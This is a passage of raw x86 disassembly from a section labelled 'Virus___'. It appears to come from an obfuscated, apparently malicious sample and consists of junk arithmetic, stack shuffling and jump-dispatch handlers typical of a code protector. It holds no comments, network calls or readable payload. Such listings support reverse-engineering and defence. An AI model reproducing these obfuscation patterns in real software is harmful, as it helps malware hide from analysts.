ebx, esi pop esi add edx, 79195815h sub edx, 55BC61F0h add edx, ebx add edx, 55BC61F0h sub edx, 79195815h pop ebx xchg edx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx jmp loc_573075 ; --------------------------------------------------------------------------- loc_578383: ; CODE XREF: Virus___:0057E03Ej push 735Ah mov [esp], ecx push 1852h push esp pop dword ptr [esp] jmp loc_573533 ; --------------------------------------------------------------------------- loc_578399: ; CODE XREF: Virus___:0057E43Dj pop eax push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_572E02 ; --------------------------------------------------------------------------- loc_5783B7: ; CODE XREF: Virus___:00573025j sub eax, 0C452E2Ah add eax, edi push 47FBh mov [esp], ebp mov ebp, 54D14B4h jmp loc_57DCC2 ; --------------------------------------------------------------------------- loc_5783D0: ; CODE XREF: Virus___:0057667Ej sub ecx, 4CD671F5h neg ecx push eax mov eax, 1A2B3FCEh xor eax, 0DA4D9DF4h add ecx, eax pop eax jmp loc_5770AF ; --------------------------------------------------------------------------- loc_5783EB: ; CODE XREF: Virus___:00572CA4j add esi, 4 push edx mov edx, 3145DA9h shl edx, 5 add edx, 0FFFFFFFFh sub edx, 2718328Dh push 55D6h mov [esp], eax mov eax, 3B738290h sub edx, eax pop eax add esi, 37D77DA8h jmp loc_57CB7A ; --------------------------------------------------------------------------- loc_57841E: ; CODE XREF: Virus___:00574BB3j xchg ebp, [esp] pop esp jmp loc_57D09F ; --------------------------------------------------------------------------- loc_578427: ; CODE XREF: Virus___:0057892Dj xchg edx, [esp] pop esp jmp loc_57CFAF ; --------------------------------------------------------------------------- loc_578430: ; CODE XREF: Virus___:0057ADDEj sub esp, 4 mov [esp], esp jmp loc_57E62C ; --------------------------------------------------------------------------- loc_57843B: ; CODE XREF: Virus___:005781C7j push edi mov edi, 4B677AB5h jmp loc_578BEC ; --------------------------------------------------------------------------- loc_578446: ; CODE XREF: Virus___:0057BFDCj mov esi, [esp] add esp, 4 sub esi, 4C260949h jmp loc_5779B8 ; --------------------------------------------------------------------------- loc_578457: ; CODE XREF: Virus___:005754BFj push edi mov edi, 4 add ebx, edi pop edi push 65A3h mov [esp], edi jmp loc_5733CC ; --------------------------------------------------------------------------- loc_57846D: ; CODE XREF: Virus___:005795E9j mov bh, ch mov dl, bh pop ebx pop ecx pop ebx xor al, dl jmp loc_579EF7 ; --------------------------------------------------------------------------- loc_57847B: ; CODE XREF: Virus___:00578207j mov ecx, [esp] add esp, 4 push eax mov eax, 10046660h add eax, 0F074291h xor eax, 598F25BCh sub eax, 536D4AF7h inc eax sub esp, 4 mov [esp], edx mov edx, 25787161h xor eax, edx pop edx jmp loc_57780D ; --------------------------------------------------------------------------- loc_5784AD: ; CODE XREF: Virus___:0057EF92j push ebx mov ebx, 4C1717E3h mov esi, ebx jmp loc_57CA32 ; --------------------------------------------------------------------------- loc_5784BA: ; CODE XREF: Virus___:0057E462j push edi mov edi, 341C5FEBh jmp loc_57B222 ; --------------------------------------------------------------------------- loc_5784C5: ; CODE XREF: Virus___:005797B3j or ah, 5Dh sub ah, 3Ah add cl, 91h add cl, 3Fh add cl, ah jmp loc_57EEB6 ; --------------------------------------------------------------------------- loc_5784D8: ; CODE XREF: Virus___:0057BA91j add ecx, esi add ecx, 0EDA7588h jmp loc_579183 ; --------------------------------------------------------------------------- loc_5784E5: ; CODE XREF: Virus___:0057B838j xor ebx, ecx mov ecx, [esp] add esp, 4 push ebx add dword ptr [esp], 6FE5195Ch pop ebp push edx mov edx, 22B37A63h jmp loc_579C2C ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push 3E6Ch mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_572D44 ; --------------------------------------------------------------------------- loc_57851F: ; CODE XREF: Virus___:005798D6j mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_57EFB8 ; --------------------------------------------------------------------------- loc_578530: ; CODE XREF: Virus___:00573586j sub ebp, 8D56FAA6h mov ebx, ebp jmp loc_579285 ; --------------------------------------------------------------------------- loc_57853D: ; CODE XREF: Virus___:005735D9j xor edx, 0FF83C0B3h mov ecx, edx pop edx jmp loc_57EF81 ; --------------------------------------------------------------------------- loc_57854B: ; CODE XREF: Virus___:00577B26j mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add edi, 2 xor edi, [esp] xor [esp], edi jmp loc_572C01 ; --------------------------------------------------------------------------- loc_578571: ; CODE XREF: Virus___:00573246j shr ecx, 8 and ecx, 3C2E3E18h not ecx add ecx, 1D9E37ACh jmp loc_577CCA ; --------------------------------------------------------------------------- loc_578587: ; CODE XREF: Virus___:005737E9j mov eax, 29444B57h sub eax, 62194005h sub eax, edi push ebp mov ebp, 123361C3h neg ebp dec ebp shl ebp, 8 xor ebp, 0AE877C05h jmp loc_57307D ; --------------------------------------------------------------------------- loc_5785AA: ; CODE XREF: Virus___:005763ADj shr ebx, 5 xor ebx, 7463EC33h sub esi, ebx pop ebx jmp loc_57B4B5 ; --------------------------------------------------------------------------- loc_5785BB: ; CODE XREF: Virus___:00577808j push eax mov eax, 424420A6h not eax shl eax, 8 sub eax, 3959314Eh xor eax, 828627B6h jmp loc_57863D ; --------------------------------------------------------------------------- loc_5785D5: ; CODE XREF: Virus___:005751B0j push ecx mov ecx, 2FA501F1h sub eax, ecx pop ecx add eax, 80DCFC63h sub ebx, 4A1C5142h add ebx, eax add ebx, 4A1C5142h pop eax sub ebx, eax push eax mov eax, 46281B38h neg eax jmp loc_57C1FD ; --------------------------------------------------------------------------- loc_578601: ; CODE XREF: Virus___:005769B5j pop esp mov [esp], esi mov esi, esp push eax mov eax, 32524E2Bh jmp loc_579017 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push 45E1h mov [esp], esp jmp loc_576577 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ecx mov ecx, 43247927h xchg edi, ecx jmp loc_578F84 ; --------------------------------------------------------------------------- loc_57863D: ; CODE XREF: Virus___:005785D0j add ecx, eax jmp loc_5793FE ; --------------------------------------------------------------------------- lodsd jmp loc_576363 ; --------------------------------------------------------------------------- loc_57864A: ; CODE XREF: Virus___:00572EB3j shr ecx, 5 jmp loc_572B4A ; --------------------------------------------------------------------------- loc_578652: ; CODE XREF: Virus___:0057D6CBj push ebx sub esp, 4 mov [esp], eax jmp loc_57B9E4 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5798E3 ; --------------------------------------------------------------------------- loc_57866A: ; CODE XREF: Virus___:00573E66j mov [esp], ebp mov ebp, 32DA0E77h not ebp jmp loc_57BCAF ; --------------------------------------------------------------------------- loc_578679: ; CODE XREF: Virus___:005770CCj mov edi, ebp pop ebp neg edi shl edi, 6 shr edi, 5 jmp loc_57C617 ; --------------------------------------------------------------------------- loc_578689: ; CODE XREF: Virus___:00575B35j not bh or bh, 8Ch push edx push ebx mov bl, 27h jmp loc_577E60 ; --------------------------------------------------------------------------- loc_578697: ; CODE XREF: Virus___:00576D89j mov ebp, 0ACF748Eh shl ebp, 8 inc ebp shl ebp, 3 sub ebp, 3A8C0E98h or ebp, 2AC80D0Eh push esi mov esi, 6BD86D7Ah xor ebp, esi pop esi jmp loc_57498C ; --------------------------------------------------------------------------- loc_5786BD: ; CODE XREF: Virus___:00573D7Dj mov ebp, 0B91CF8A6h add ebp, edx pop edx add edi, 6A691EB0h jmp loc_57C0C3 ; --------------------------------------------------------------------------- loc_5786D0: ; CODE XREF: Virus___:0057789Bj xor eax, edi pop edi sub esi, eax pop eax xor esi, 2DFA0581h sub esp, 4 mov [esp], esi push 503C473Dh pop esi neg esi jmp loc_57C672 ; --------------------------------------------------------------------------- loc_5786F2: ; CODE XREF: Virus___:0057AA7Ej mov [esp], edx mov edx, 50C43767h or ebp, edx jmp loc_578BF9 ; --------------------------------------------------------------------------- loc_578701: ; CODE XREF: Virus___:00572DBEj mov esp, [esp] mov fs:[edx], al jmp loc_575366 ; --------------------------------------------------------------------------- loc_57870C: ; CODE XREF: Virus___:0057D7C4j sub ebp, 3F5A07C7h jmp loc_576905 ; --------------------------------------------------------------------------- loc_578717: ; CODE XREF: Virus___:0057ECCAj mov edx, 4E913415h xor edx, eax pop eax add ebp, edx pop edx xchg ebp, [esp] jmp loc_573539 ; --------------------------------------------------------------------------- loc_57872A: ; CODE XREF: Virus___:0057C612j push edi mov edi, esp push esi mov esi, 4 add edi, 223D71h jmp loc_5746FD ; --------------------------------------------------------------------------- loc_57873E: ; CODE XREF: Virus___:0057E2B6j and ebx, edi jmp loc_57AAC7 ; --------------------------------------------------------------------------- loc_578745: ; CODE XREF: Virus___:005771B1j pop bx pop cx sub cl, 0D9h xor al, cl mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_57F02D ; --------------------------------------------------------------------------- loc_578762: ; CODE XREF: Virus___:0057E66Dj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578767: ; CODE XREF: Virus___:0057664Aj sub esi, 4 xchg esi, [esp] jmp loc_575D85 ; --------------------------------------------------------------------------- loc_578772: ; CODE XREF: Virus___:00576205j sub ebp, 1A111643h pop eax add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- mov cx, [esp] push 53C1h mov [esp], edi push esp jmp loc_5740EA ; --------------------------------------------------------------------------- loc_5787A0: ; CODE XREF: Virus___:005745D0j or edi, 61573317h shl edi, 2 not edi sub edi, 2883109Fh sub esi, 68EB1F3Dh jmp loc_57905A ; --------------------------------------------------------------------------- loc_5787BC: ; CODE XREF: Virus___:0057B3F4j mov [esp], eax push 5F613ECAh push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_57B417 ; --------------------------------------------------------------------------- loc_5787DC: ; CODE XREF: Virus___:005730EDj add edx, 333441E9h jmp loc_5741EB ; --------------------------------------------------------------------------- loc_5787E7: ; CODE XREF: Virus___:0057C9A8j mov edi, 76815C0Eh mov eax, 897EA3F6h add eax, 2F7750A3h add eax, edi sub eax, 2F7750A3h pop edi sub edi, 5DF7941h jmp loc_5794B9 ; --------------------------------------------------------------------------- loc_578809: ; CODE XREF: Virus___:005773FCj mov [esp], edx push esp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_57EE2D ; --------------------------------------------------------------------------- loc_578825: ; CODE XREF: Virus___:0057D4FCj push edx push ebp push 743C1F00h mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_579E55 ; --------------------------------------------------------------------------- loc_57883D: ; CODE XREF: Virus___:0057A158j idiv cl movzx cx, ah push eax mov eax, esp push 223Ah jmp loc_577E15 ; --------------------------------------------------------------------------- loc_578850: ; CODE XREF: Virus___:00573A9Ej and eax, 71EB4311h sub eax, 15B82217h sub eax, 5BC1D14Ch sub edx, eax mov eax, [esp] add esp, 4 jmp loc_576B51 ; --------------------------------------------------------------------------- loc_57886C: ; CODE XREF: Virus___:0057589Cj push edx push eax mov eax, 65D20DD0h jmp loc_573D70 ; --------------------------------------------------------------------------- loc_578878: ; CODE XREF: Virus___:0057776Ej mov [esp], ebp push eax jmp loc_579F85 ; --------------------------------------------------------------------------- loc_578881: ; CODE XREF: Virus___:00574622j sub al, 96h sub al, 0F6h sub al, 62h jmp loc_57CCC5 ; --------------------------------------------------------------------------- loc_57888C: ; CODE XREF: Virus___:0057EE28j xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push ebp jmp loc_57A7E1 ; --------------------------------------------------------------------------- loc_5788AB: ; CODE XREF: Virus___:0057544Dj mov ebx, [esp] add esp, 4 push cx mov cl, 23h and dl, cl jmp loc_57D877 ; --------------------------------------------------------------------------- loc_5788BF: ; CODE XREF: Virus___:0057BDDCj pop ebp push esi mov esi, 4 add ebp, esi pop esi push 6049h mov [esp], edx mov edx, 58D71E86h jmp loc_57EEA8 ; --------------------------------------------------------------------------- loc_5788DB: ; CODE XREF: Virus___:0057BD0Ej mov ecx, [esp] add esp, 4 jmp loc_573570 ; --------------------------------------------------------------------------- loc_5788E9: ; CODE XREF: Virus___:005780BCj mov ecx, esp jmp loc_5792E7 ; --------------------------------------------------------------------------- loc_5788F0: ; CODE XREF: Virus___:00573FF8j add eax, 59C23012h push 22CFh mov [esp], edx push ebp push 4D0D371Bh pop ebp add ebp, 672F0949h shr ebp, 5 sub ebp, 62506936h xor ebp, 0DA08070Fh jmp loc_5767B9 ; --------------------------------------------------------------------------- loc_57891E: ; CODE XREF: Virus___:0057B34Dj pop ecx jmp loc_57E119 ; --------------------------------------------------------------------------- loc_578924: ; CODE XREF: Virus___:00577B91j add edx, 4 add edx, 4 jmp loc_578427 ; --------------------------------------------------------------------------- loc_578932: ; CODE XREF: Virus___:0057D155j push ecx mov ch, 31h mov bh, 0E3h add bh, ch pop ecx mov cl, bh jmp loc_57AAD5 ; --------------------------------------------------------------------------- loc_578941: ; CODE XREF: Virus___:00575E79j xchg ah, bl not ah jmp loc_5774B5 ; --------------------------------------------------------------------------- loc_57894A: ; CODE XREF: Virus___:00575481j sub dl, 0Ch add cl, dl pop edx push 614h mov [esp], ecx xchg dh, [esp] push ax mov al, dh xchg dl, al not dl push bx mov bl, dl mov dl, al mov al, bl pop bx push ecx push ebx mov bl, al jmp loc_577359 ; --------------------------------------------------------------------------- loc_578976: ; CODE XREF: Virus___:0057BD53j push ebx mov ebx, esi jmp loc_57A54F ; --------------------------------------------------------------------------- loc_57897E: ; CODE XREF: Virus___:0057E80Aj add edi, 4 jmp loc_5798C7 ; --------------------------------------------------------------------------- loc_578989: ; CODE XREF: Virus___:0057D20Dj mov esp, [esp] or [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578996: ; CODE XREF: Virus___:0057CB35j pop ebp and ebx, 155B5734h jmp loc_577EA3 ; --------------------------------------------------------------------------- loc_5789A2: ; CODE XREF: Virus___:005762E3j pop ebp sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5769BA ; --------------------------------------------------------------------------- loc_5789C1: ; CODE XREF: Virus___:00576239j sub esp, 4 mov [esp], ebx mov bl, 0B1h neg bl push eax mov ah, 86h add bl, ah pop eax shl bl, 1 add bl, 36h jmp loc_575AFE ; --------------------------------------------------------------------------- loc_5789DB: ; CODE XREF: Virus___:005770B1j mov ecx, [esp] add esp, 4 jmp loc_5793A9 ; --------------------------------------------------------------------------- loc_5789E9: ; CODE XREF: Virus___:0057E5F3j pop ecx jmp loc_573718 ; --------------------------------------------------------------------------- loc_5789EF: ; CODE XREF: Virus___:005790CCj pop esi push 115Fh mov [esp], esi mov esi, 5E9149C6h jmp loc_575E5D ; --------------------------------------------------------------------------- loc_578A02: ; CODE XREF: Virus___:0057BAF4j sub eax, esi pop esi add ecx, eax jmp loc_577E8A ; --------------------------------------------------------------------------- loc_578A0C: ; CODE XREF: Virus___:0057A4B0j pop esp jmp loc_57DEB0 ; --------------------------------------------------------------------------- loc_578A12: ; CODE XREF: Virus___:0057B13Bj add eax, 7E717025h jmp loc_57A89A ; --------------------------------------------------------------------------- loc_578A1C: ; CODE XREF: Virus___:0057E54Bj push ecx jmp loc_57C03E ; --------------------------------------------------------------------------- loc_578A22: ; CODE XREF: Virus___:00574FFFj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578A27: ; CODE XREF: Virus___:0057B012j push ebx jmp loc_577460 ; --------------------------------------------------------------------------- loc_578A2D: ; CODE XREF: Virus___:00575D86j mov [esp], ebp push 0D8Bh jmp loc_575D71 ; --------------------------------------------------------------------------- loc_578A3A: ; CODE XREF: Virus___:0057D1D8j add esp, 4 push edx mov edx, 2 jmp loc_57BE5B ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578A50: ; CODE XREF: Virus___:0057A2CCj mov [esp], ecx mov ecx, 504C590Bh inc ecx inc ecx shl ecx, 1 push eax push esi mov esi, 0E072F9Dh not esi and esi, 0CA73A2Dh push 50F2h mov [esp], ebp mov ebp, 482F069Fh dec ebp or ebp, 36AE525Bh xor ebp, 5C002E59h xor esi, ebp mov ebp, [esp] add esp, 4 push esi jmp loc_57B6D7 ; --------------------------------------------------------------------------- loc_578A93: ; CODE XREF: Virus___:00577B13j add eax, edi jmp loc_57BA96 ; --------------------------------------------------------------------------- loc_578A9A: ; CODE XREF: Virus___:0057EA0Aj pop ebp push ebp mov ebp, 4484590Bh xor ebp, 48C934C5h shr ebp, 6 add ebp, 7D3546D7h push 338Ah mov [esp], esi jmp loc_57B5A2 ; --------------------------------------------------------------------------- loc_578ABD: ; CODE XREF: Virus___:00575B3Bj add eax, 1C006459h add eax, 52C7349Fh add eax, edi sub eax, 52C7349Fh push ebx push edx mov edx, 41697809h mov ebx, edx pop edx jmp loc_57EF4A ; --------------------------------------------------------------------------- loc_578ADD: ; CODE XREF: Virus___:0057E77Fj neg ecx xor ecx, 12075189h add ebx, ecx pop ecx add edx, 52924921h sub edx, 60434504h add edx, ebx add edx, 60434504h sub edx, 52924921h mov ebx, [esp] add esp, 4 add edx, 2 xchg edx, [esp] pop esp bts [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578B20: ; CODE XREF: Virus___:00579786j sub dword ptr [esp+4], 6A285465h sub dword ptr [esp+4], 0EC42D99h jmp loc_5731F4 ; --------------------------------------------------------------------------- loc_578B35: ; CODE XREF: Virus___:00573F3Cj mov edi, 779A6FB0h mov ebp, edi pop edi jmp loc_577ECB ; --------------------------------------------------------------------------- loc_578B42: ; CODE XREF: Virus___:00572E08j mov [esp], edx push esp pop edx push ebx mov ebx, 4B83711Dh shl ebx, 6 add ebx, 6EEB7870h shl ebx, 4 not ebx dec ebx xor ebx, 38404FAh add edx, ebx jmp loc_57B2CA ; --------------------------------------------------------------------------- loc_578B69: ; CODE XREF: Virus___:00574D7Bj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 31CA44ECh add eax, 732A0AFFh dec eax and eax, 5AA10305h xor eax, 0C087B69h sub eax, 11EF5E96h sub eax, 8FCDD3B6h xor edx, eax pop eax add ebp, edx jmp loc_57ECBD ; --------------------------------------------------------------------------- mov cx, [esp] push eax push esp pop eax push ebx mov ebx, 2AE43640h push edi mov edi, 561154BEh jmp loc_57EA61 ; --------------------------------------------------------------------------- loc_578BBD: ; CODE XREF: Virus___:0057D820j mov ebp, esi pop esi sub ebp, 0A8E6EE82h sub eax, 55A772CAh add eax, ebp add eax, 55A772CAh pop ebp add eax, 52CC0340h add eax, ebx push ecx jmp loc_575A06 ; --------------------------------------------------------------------------- loc_578BE0: ; CODE XREF: Virus___:0057C42Ej pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_5795DF ; --------------------------------------------------------------------------- loc_578BEC: ; CODE XREF: Virus___:00578441j push 5BEBh mov [esp], eax jmp loc_576022 ; --------------------------------------------------------------------------- loc_578BF9: ; CODE XREF: Virus___:005786FCj pop edx shl ebp, 5 push esi push ebx jmp loc_579F62 ; --------------------------------------------------------------------------- loc_578C04: ; CODE XREF: Virus___:0057D803j shr edi, 4 and edi, 759524BFh inc edi dec edi add edi, 26625FA5h sub eax, edi pop edi add eax, 11855C28h jmp loc_576A9A ; --------------------------------------------------------------------------- loc_578C22: ; CODE XREF: Virus___:0057CA0Fj mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push edi mov edi, 0E354109h shl edi, 8 or edi, 78A44319h jmp loc_5736CA ; --------------------------------------------------------------------------- loc_578C44: ; CODE XREF: Virus___:00576503j mov esi, edi pop edi xor esi, 6FE6D59h add esi, 90F0426h jmp loc_57D6F5 ; --------------------------------------------------------------------------- loc_578C58: ; CODE XREF: Virus___:005740E5j push 2D30h mov [esp], edx mov dl, al mov ch, dl mov edx, [esp] add esp, 4 mov bl, ch mov ecx, [esp] add esp, 4 push eax mov eax, 28h add eax, edi push edx jmp loc_57E88E ; --------------------------------------------------------------------------- loc_578C86: ; CODE XREF: Virus___:00575812j mov [esp+4], bl push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push 78FEh mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_57E277 ; --------------------------------------------------------------------------- loc_578CA9: ; CODE XREF: Virus___:0057E360j sub eax, 24792CEAh push dword ptr [esp] pop ebx jmp loc_572FC1 ; --------------------------------------------------------------------------- loc_578CB7: ; CODE XREF: Virus___:00573AC2j pop edx xor esi, ecx pop ecx mov edx, esi pop esi jmp loc_57C263 ; --------------------------------------------------------------------------- loc_578CC3: ; CODE XREF: Virus___:00574674j xor eax, [esp] jmp loc_573365 ; --------------------------------------------------------------------------- loc_578CCB: ; CODE XREF: Virus___:0057C086j sub bl, 0BAh add bl, al jmp loc_57E701 ; --------------------------------------------------------------------------- loc_578CD5: ; CODE XREF: Virus___:00577B30j sub eax, esi pop esi sub eax, 1AA01EB0h add eax, ebx push ebx mov ebx, 1AA01EB0h add eax, ebx jmp loc_57598E ; --------------------------------------------------------------------------- loc_578CEC: ; CODE XREF: Virus___:00576188j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_57E806 ; --------------------------------------------------------------------------- loc_578CFA: ; CODE XREF: Virus___:005769E2j mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebp push 770Eh mov [esp], edx mov edx, 1BD5107Dh xor [esp+4], edx push dword ptr [esp] pop edx add esp, 4 pop edx push ecx mov ecx, 1BD5107Dh xor edx, ecx pop ecx mov ebp, [esp] add esp, 4 jmp loc_57EE61 ; --------------------------------------------------------------------------- loc_578D50: ; CODE XREF: Virus___:0057E409j xchg esi, [esp] pop esp jmp loc_57828F ; --------------------------------------------------------------------------- loc_578D59: ; CODE XREF: Virus___:00573534j mov ebx, 4 add dword ptr [esp+4], 74B46050h add [esp+4], ebx sub dword ptr [esp+4], 74B46050h jmp loc_57429B ; --------------------------------------------------------------------------- loc_578D77: ; CODE XREF: Virus___:0057D272j pop ebp shl edx, 4 dec edx jmp loc_574104 ; --------------------------------------------------------------------------- loc_578D81: ; CODE XREF: Virus___:005761BBj sub [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578D8B: ; CODE XREF: Virus___:00579447j mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov eax, [esp] push ebp push 3A4Fh mov [esp], esp add dword ptr [esp], 4 jmp loc_57B1A4 ; --------------------------------------------------------------------------- loc_578DAC: ; CODE XREF: Virus___:00579D62j pop edx jmp loc_57CE71 ; --------------------------------------------------------------------------- loc_578DB2: ; CODE XREF: Virus___:0057B781j mov ebp, 75FE4E5Dh jmp loc_57531F ; --------------------------------------------------------------------------- loc_578DBC: ; CODE XREF: Virus___:00573EE4j push esi mov esi, 13974687h jmp loc_57B4A2 ; --------------------------------------------------------------------------- loc_578DC7: ; CODE XREF: Virus___:00573043j pop ebx mov bl, ah pop eax mov [edi+eax*4], bl pop ebx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578DE0: ; CODE XREF: Virus___:0057B6B5j add ebx, eax add ebx, 6D374050h pop eax xor ebx, [esp] jmp loc_579D26 ; --------------------------------------------------------------------------- loc_578DF1: ; CODE XREF: Virus___:0057804Ej mov esp, [esp] jmp loc_57E338 ; --------------------------------------------------------------------------- loc_578DF9: ; CODE XREF: Virus___:00575396j xor ebx, 7C223F03h mov edi, ebx pop ebx add dword ptr [esp+4], 3E3C7B25h sub [esp+4], edi sub dword ptr [esp+4], 3E3C7B25h pop edi mov eax, [esp] add esp, 4 add eax, 32232C19h push edi jmp loc_574AEB ; --------------------------------------------------------------------------- loc_578E2B: ; CODE XREF: Virus___:00574DC6j shl ecx, 8 dec ecx push ebx mov ebx, 54B53EF3h sub ebx, 19666F7Dh shr ebx, 6 jmp loc_57CA14 ; --------------------------------------------------------------------------- loc_578E43: ; CODE XREF: Virus___:0057CDAEj add ebx, ebp add ebx, 4D981907h sub ebx, 3ED107D3h push ecx jmp loc_577FCD ; --------------------------------------------------------------------------- loc_578E57: ; CODE XREF: Virus___:0057B9FFj add eax, ecx pop ecx add eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_57C433 ; --------------------------------------------------------------------------- loc_578E6D: ; CODE XREF: Virus___:00576FDDj add dh, bl pop ebx jmp loc_57BE20 ; --------------------------------------------------------------------------- loc_578E75: ; CODE XREF: Virus___:00573E1Cj add bh, 0C5h sub ah, bh pop ebx push edx mov dh, 0A0h xor ah, dh pop edx jmp loc_5737AD ; --------------------------------------------------------------------------- loc_578E86: ; CODE XREF: Virus___:0057EB9Ej pop ecx mov ebp, [esp] jmp loc_5733AF ; --------------------------------------------------------------------------- loc_578E8F: ; CODE XREF: Virus___:0057BB0Cj pop ecx jmp loc_57EDFB ; --------------------------------------------------------------------------- loc_578E95: ; CODE XREF: Virus___:00575F38j add esp, 4 push eax mov eax, 4F71410Dh sub edx, eax jmp loc_57CD51 ; --------------------------------------------------------------------------- loc_578EA8: ; CODE XREF: Virus___:00572B34j pop edx sub eax, 75B66009h add eax, ebx push edx push eax mov eax, 537B101Ch shl eax, 3 shr eax, 4 jmp loc_57648F ; --------------------------------------------------------------------------- loc_578EC2: ; CODE XREF: Virus___:00577218j sub bl, al add bl, 7 jmp loc_57A7EE ; --------------------------------------------------------------------------- loc_578ECC: ; CODE XREF: Virus___:005747BFj push dword ptr [esp] pop edx push eax push 6716h jmp loc_57C7D6 ; --------------------------------------------------------------------------- loc_578EDB: ; CODE XREF: Virus___:0057E4C8j push ebp jmp loc_57D965 ; --------------------------------------------------------------------------- loc_578EE1: ; CODE XREF: Virus___:0057690Bj and ebx, ebp pop ebp jmp loc_57756E ; --------------------------------------------------------------------------- loc_578EE9: ; CODE XREF: Virus___:005745E3j or edx, eax jmp loc_576486 ; --------------------------------------------------------------------------- loc_578EF0: ; CODE XREF: Virus___:005796DCj mov [esp], ebx push eax jmp loc_57620A ; --------------------------------------------------------------------------- loc_578EF9: ; CODE XREF: Virus___:0057C45Dj mov [esp], ax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578F02: ; CODE XREF: Virus___:0057424Dj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_57E4A0 ; --------------------------------------------------------------------------- loc_578F13: ; CODE XREF: Virus___:0057A078j mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], edi jmp loc_57406B ; --------------------------------------------------------------------------- loc_578F29: ; CODE XREF: Virus___:005742D8j mov [esp], edi mov edi, 76524791h add edi, 48F5464Bh add edi, 5C987E57h push ebx mov ebx, 713630CAh and edi, ebx pop ebx add edi, 199276E7h sub edi, 0B0BF4154h mov ecx, edi pop edi jmp loc_57A624 ; --------------------------------------------------------------------------- loc_578F5A: ; CODE XREF: Virus___:0057B580j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578F66: ; CODE XREF: Virus___:00576972j xor edx, 0F9C2B876h mov eax, edx pop edx xor esi, eax mov eax, [esp] add esp, 4 sub eax, esi pop esi add eax, ebp jmp loc_57ABAC ; --------------------------------------------------------------------------- loc_578F84: ; CODE XREF: Virus___:00578638j dec edi jmp loc_57C46F ; --------------------------------------------------------------------------- loc_578F8A: ; CODE XREF: Virus___:0057CEBAj mov eax, 1AB17165h jmp loc_57E905 ; --------------------------------------------------------------------------- push ebp jmp loc_57678C ; --------------------------------------------------------------------------- loc_578F9A: ; CODE XREF: Virus___:005739F2j pop ebp push edx push 198Ch mov [esp], ebp push 13F45279h pop ebp shl ebp, 2 jmp loc_57BB69 ; --------------------------------------------------------------------------- loc_578FB2: ; CODE XREF: Virus___:0057E128j push eax push ecx mov ch, 0E2h push ebx mov bh, 5 mov al, bh pop ebx sub al, ch pop ecx push ebx mov bh, al mov cl, bh mov ebx, [esp] jmp loc_57A8A7 ; --------------------------------------------------------------------------- loc_578FCC: ; CODE XREF: Virus___:00572B51j add dword ptr [esp], 350334B0h pop eax jmp loc_57D0CD ; --------------------------------------------------------------------------- loc_578FD9: ; CODE XREF: Virus___:00576302j push edi mov edi, 0 sub edi, edx xchg edi, edx pop edi push eax push edi mov edi, 2076074Ah mov eax, 1AB26C2Fh add eax, edi jmp loc_57586D ; --------------------------------------------------------------------------- loc_578FF7: ; CODE XREF: Virus___:00573ACDj xor ebx, 6BC0CF4h neg ebx not ebx sub ebx, 0ADD94C79h add edi, ebx pop ebx pop eax jmp loc_577C9C ; --------------------------------------------------------------------------- loc_579010: ; CODE XREF: Virus___:0057C110j and eax, ebx jmp loc_579798 ; --------------------------------------------------------------------------- loc_579017: ; CODE XREF: Virus___:0057860Dj xor eax, 32524E2Fh jmp loc_5734EA ; --------------------------------------------------------------------------- loc_579021: ; CODE XREF: Virus___:00573DECj xor ebp, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_57A663 ; --------------------------------------------------------------------------- loc_579031: ; CODE XREF: Virus___:00574AC7j add ebx, edi jmp loc_5749DD ; --------------------------------------------------------------------------- loc_579038: ; CODE XREF: Virus___:0057C19Fj shr cl, 2 shl cl, 6 sub cl, 0F2h and ah, cl pop ecx shl ah, 2 shl ah, 7 sub ah, 74h jmp loc_5762E8 ; 